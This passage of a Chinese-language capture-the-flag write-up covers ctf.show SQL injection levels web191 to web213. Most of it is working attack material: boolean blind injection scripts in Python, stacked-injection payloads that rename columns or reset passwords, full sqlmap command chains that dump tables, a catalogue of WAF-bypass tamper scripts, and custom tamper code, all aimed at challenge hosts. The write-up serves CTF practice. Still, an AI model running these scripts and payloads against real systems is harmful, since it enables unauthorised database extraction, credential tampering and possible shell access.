            if low != 32:
                table_name += chr(low)
                print('[+] ' + table_name)
                continue
            else:
                break
    
    
    
    if __name__ == '__main__':
        boolBlindSql()
    

    web192

    • 过滤了 ascii|ord|hex,不用它们就行啦
    import requests
    
    def boolBlindSql():
        table_name = ''
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!}'
        headers = {"Content-Type": "application/x-www-form-urlencoded",
                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'}
        for i in range(1, 100):
            for ch in strings:
                # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'),1,0)--+&password=1"
                # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))regexp('{}'),1,0)--+&password=1"
                payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'),1,0)--+&password=1"
                res = requests.post(url='http://85290226-1b87-48d5-b290-bc17c6dceb66.challenge.ctf.show:8080/api/', data=payload.format(i,ch), headers=headers)
                if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                    table_name += ch
                    print('[+] ' + table_name)
                    break
    
    if __name__ == '__main__':
        boolBlindSql()
    

    web193

    • 过滤了 file|into|ascii|ord|hex|substr,直接用 mid 替换 substr 就行,继续用上面的那个脚本
    import requests
    
    
    def boolBlindSql():
        table_name = ''
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!}'
        headers = {"Content-Type": "application/x-www-form-urlencoded",
                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'}
        for i in range(1, 100):
            for ch in strings:
                # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'),1,0)--+&password=1"
                # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'),1,0)--+&password=1"
                payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'),1,0)--+&password=1"
                res = requests.post(url='http://10be68af-4b4b-4c03-8358-1945d090f85d.challenge.ctf.show:8080/api/',
                                    data=payload.format(i, ch), headers=headers)
                if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                    table_name += ch
                    print('[+] ' + table_name)
                    break
    
    
    if __name__ == '__main__':
        boolBlindSql()
    

    web194

    • 过滤条件为 file|into|ascii|ord|hex|substr|char|left|right|substring,还是上面的脚本
    import requests
    
    
    def boolBlindSql():
        table_name = ''
        strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
        headers = {"Content-Type": "application/x-www-form-urlencoded",
                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'}
        for i in range(1, 100):
            for ch in strings:
                # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'),1,0)--+&password=1"
                # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'),1,0)--+&password=1"
                payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'),1,0)--+&password=1"
                res = requests.post(url='http://9db66bc4-fc7f-4f86-a18b-42ef05bdce11.challenge.ctf.show:8080/api/',
                                    data=payload.format(i, ch), headers=headers)
                if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
                    table_name += ch
                    print('[+] ' + table_name)
                    if ch == '}':
                        exit(0)
                    break
    
    
    if __name__ == '__main__':
        boolBlindSql()
    

    web195

    • 堆叠注入,将密码修改即可
    POST:username=0;update`ctfshow_user`set`pass`=1&password=1
    

    web195

    • 堆叠注入,这里过滤的是错误的,所以直接用 select 就行
    POST:username=1;select(1)&password=1
    

    web197

    • 提示用户名可以很长,猜测可以互换 idpassword 的列名然后爆破 (这里借用Y4师傅的脚本),这里也可以用 show tables 直接查
    # @Author:Y4tacker
    import requests
    
    url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
    for i in range(100):
        if i == 0:
            data = {
                'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                            'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                            'varchar(255);',
                'password': f'{i}'
            }
            r = requests.post(url, data=data)
        data = {
            'username': '0x61646d696e',
            'password': f'{i}'
        }
        r = requests.post(url, data=data)
        if "登陆成功" in r.json()['msg']:
            print(r.json()['msg'])
            break
    
    POST:username=1;show tables;&password=ctfshow_user
    

    web198

    • 依旧用 show tables 直接查
    POST:username=1;show tables;&password=ctfshow_user
    

    web199

    • 依旧用 show tables 直接查
    POST:username=1;show tables;&password=ctfshow_user
    

    web200

    • 依旧用 show tables 直接查
    POST:username=1;show tables;&password=ctfshow_user
    

    web201

    • 根据题目的描述,开始利用 sqlmap 跑了
    爆库名
    python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=" --dbs --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
    

    在这里插入图片描述

    爆表名
    python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=1" -D ctfshow_ web --tables --dbms=mysql --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
    

    在这里插入图片描述

    爆列名
    python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=1" --dbms=mysql -D ctfshow_web -T ctfshow_user --columns --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
    

    在这里插入图片描述

    爆数据
    python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=1" --dbms=mysql -D ctfshow_web -T ctfshow_user -C pass --dump --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
    

    在这里插入图片描述

    web202

    • 题目提示使用 --data 调整 sqlmap 的请求方式
    爆库名
    python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" --dbs --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php
    爆表名
    python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" -D ctfshow_web --tables --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php
    爆列名
    python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" -D ctfshow_web -T ctfshow_user --columns --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php
    爆数据
    python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php
    

    web203

    • 题目提示使用 --method 调整 sqlmap 的请求方式,这里需要加上 –headers="Content-Type: text/plain",否则就是按照表单形式提交的
    爆库名
    python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php --dbs --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php
    爆表名
    python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php
    爆列名
    python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --columns --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php
    爆数据
    python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user -C pass --dump --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php
    

    web204

    • 题目提示使用 --cookie 提交 cookie 数据
    爆库名
    python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap
    爆表名
    python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap
    爆列名
    python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --columns --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap
    爆数据
    python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user -C pass --dump --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap
    

    web205

    • 由于每次注入前都会请求一下 api/getToken.php,加上 safe-url 参数指定需要请求的链接地址即可,safe-freq 设置为 1
    python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap
    
    python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap
    
    python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --columns --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap
    
    python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --dump --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap
    

    web206

    • sqlmap 会自动绕过该关的限制
    爆库名
    python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap
    爆表名
    python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap
    爆列名
    python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxc --columns --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap
    爆数据
    python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap
    

    web207

    • 过滤了空格,用 sqlmap 自带的 tamper 来绕过
    space2comment.py用/**/代替空格
    
    apostrophemask.py用utf8代替引号
    
    equaltolike.pylike代替等号
    
    space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
    
    greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
    
    space2hash.py空格替换为#号,随机字符串以及换行符
    
    apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
    
    halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
    
    space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
    
    appendnullbyte.py在有效负荷结束位置加载零字节字符编码
    
    ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
    
    space2mssqlblank.py(mssql)空格替换为其它空符号
    
    base64encode.py 用base64编码替换
    
    space2mssqlhash.py 替换空格
    
    modsecurityversioned.py过滤空格,包含完整的查询版本注释
    
    space2mysqlblank.py 空格替换其它空白符号(mysql)
    
    between.py用between替换大于号(>)
    
    space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
    
    multiplespaces.py围绕SQL关键字添加多个空格
    
    space2plus.py用+替换空格
    
    bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
    
    nonrecursivereplacement.py双重查询语句,取代SQL关键字
    
    space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
    
    sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
    
    chardoubleencode.py双url编码(不处理以编码的)
    
    unionalltounion.py替换UNION ALLSELECT UNION SELECT
    
    charencode.py url编码
    
    randomcase.py随机大小写
    
    unmagicquotes.py宽字符绕过 GPCaddslashes
    
    randomcomments.py用/**/分割sql关键字
    
    charunicodeencode.py字符串 unicode 编码
    
    securesphere.py追加特制的字符串
    
    versionedmorekeywords.py注释绕过
    
    space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
    
    halfversionedmorekeywords.py关键字前加注释
    
    爆库名
    python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py"
    爆表名
    python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py"
    爆列名
    python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxca --columns --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py"
    爆数据
    python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py"
    

    wen208

    • 过滤了 select 和空格,由于只是将 select 转为空,可以采用双写或者大小写来扰过
    $id = str_replace('select', '', $id);
      function waf($str){
       return preg_match('/ /', $str);
      }
    
    爆库名
    python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py"
    爆表名
    python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py"
    爆列名
    python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxcac --columns --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py"
    爆数据
    python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py"
    

    web209

    • * 过滤掉了用 %09 来绕过,过滤 =like 来绕过,开始自己写 tamper 啦~
    function waf($str){
       //TODO 未完工
       return preg_match('/ |\*|\=/', $str);
      }
    
    from lib.core.compat import xrange
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.LOW
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        """
        Replaces space character (' ') with comments '/**/'
    
        Tested against:
            * Microsoft SQL Server 2005
            * MySQL 4, 5.0 and 5.5
            * Oracle 10g
            * PostgreSQL 8.3, 8.4, 9.0
    
        Notes:
            * Useful to bypass weak and bespoke web application firewalls
    
        >>> tamper('SELECT id FROM users')
        'SELECT/**/id/**/FROM/**/users'
        """
    
        retVal = payload
    
        if payload:
            retVal = ""
            quote, doublequote, firstspace = False, False, False
    
            for i in xrange(len(payload)):
                if not firstspace:
                    if payload[i].isspace():
                        firstspace = True
                        retVal += chr(0x0a)
                        continue
    
                elif payload[i] == '\'':
                    quote = not quote
    
                elif payload[i] == '"':
                    doublequote = not doublequote
    
                elif payload[i] == "*":
                    retVal += chr(0x31)
                    continue
    
                elif payload[i] == '=':
                    retVal += (chr(0x0a) + 'like' + chr(0x0a))
                    continue
    
                elif payload[i] == " " and not doublequote and not quote:
                    retVal += chr(0x0a)
                    continue
    
                retVal += payload[i]
    
        return retVal
    
    爆库名
    python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py"
    爆表名
    python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py"
    爆列名
    python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flav --columns --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py"
    爆数据
    python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py"
    

    web210

    • 对着给出的逻辑写一个逆运算即可
    import base64
    from lib.core.compat import xrange
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.LOW
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        retVal = payload
        if payload:
            retVal = retVal.encode('utf-8')
            retVal = retVal[::-1]
            retVal = base64.b64encode(retVal)
            retVal = retVal[::-1]
            retVal = base64.b64encode(retVal)
    
        return retVal.decode('utf-8')
    
    python sqlmap.py -u http://c348c3e4-32c4-4f28-acac-70ecf9ab89c7.challenge.ctf.show:8080/api/index.php --dump --cookie="PHPSESSID=o4ht5t1l0jp0irjreiqmonpdnf" --safe-url=http://c348c3e4-32c4-4f28-acac-70ecf9ab89c7.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://c348c3e4-32c4-4f28-acac-70ecf9ab89c7.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web210.py"
    

    web211

    • 在上一题的基础上将空格换成 /**/
    python sqlmap.py -u http://b0b5178d-a99e-4a41-933c-87cdede6dc25.challenge.ctf.show:8080/api/index.php -C ctfshow_web -T ctfshow_flavia --dump --cookie="PHPSESSID=vu47t88j6pjdun7dfajq8lfuus" --safe-url=http://b0b5178d-a99e-4a41-933c-87cdede6dc25.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b0b5178d-a99e-4a41-933c-87cdede6dc25.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/ctfshow_web210.py"
    

    web212

    • 将之前的脚本合起来使用就可以
    function decode($id){
        return strrev(base64_decode(strrev(base64_decode($id))));
    }
    function waf($str){
        return preg_match('/ |\*/', $str);
    }
    
    import base64
    from lib.core.compat import xrange
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.NORMAL
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        payload = changeChar(payload)
        payload = baseChange(payload)
    
        return payload
    
    def baseChange(payload):
        retVal = payload
    
        if payload:
            retVal = base64.b64encode(payload[::-1].encode('utf-8'))
            retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
    
        return retVal
    
    def changeChar(payload):
        retVal = payload
    
        if payload:
            retVal = ""
            quote, doublequote, firstspace = False, False, False
    
            for i in xrange(len(payload)):
                if not firstspace:
                    if payload[i].isspace():
                        firstspace = True
                        retVal += chr(0x0a)
                        continue
    
                elif payload[i] == '\'':
                    quote = not quote
    
                elif payload[i] == '"':
                    doublequote = not doublequote
    
                elif payload[i] == "=":
                    retVal += chr(0x0a)+'like'+chr(0x0a)
                    continue
    
                elif payload[i] == "*":
                    retVal += chr(0x31)
                    continue
    
                elif payload[i] == " " and not doublequote and not quote:
                    retVal += chr(0x0a)
                    continue
    
                retVal += payload[i]
    
        return retVal
    
    python sqlmap.py -u http://9c29df34-758b-40bc-b6d7-087ae08ce1b3.challenge.ctf.show:8080/api/index.php -C ctfshow_web -T ctfshow_flavia --dump --cookie="PHPSESSID=jmn3cp01f6qiaktbs2hf1c7tcb" --safe-url=http://9c29df34-758b-40bc-b6d7-087ae08ce1b3.challenge.ctf.show:8080/api/getToken.php  --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://9c29df34-758b-40bc-b6d7-087ae08ce1b3.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web212.py"
    

    web213

    • 和上一题脚本是一样的,改用 os-shell 来拿 Flag
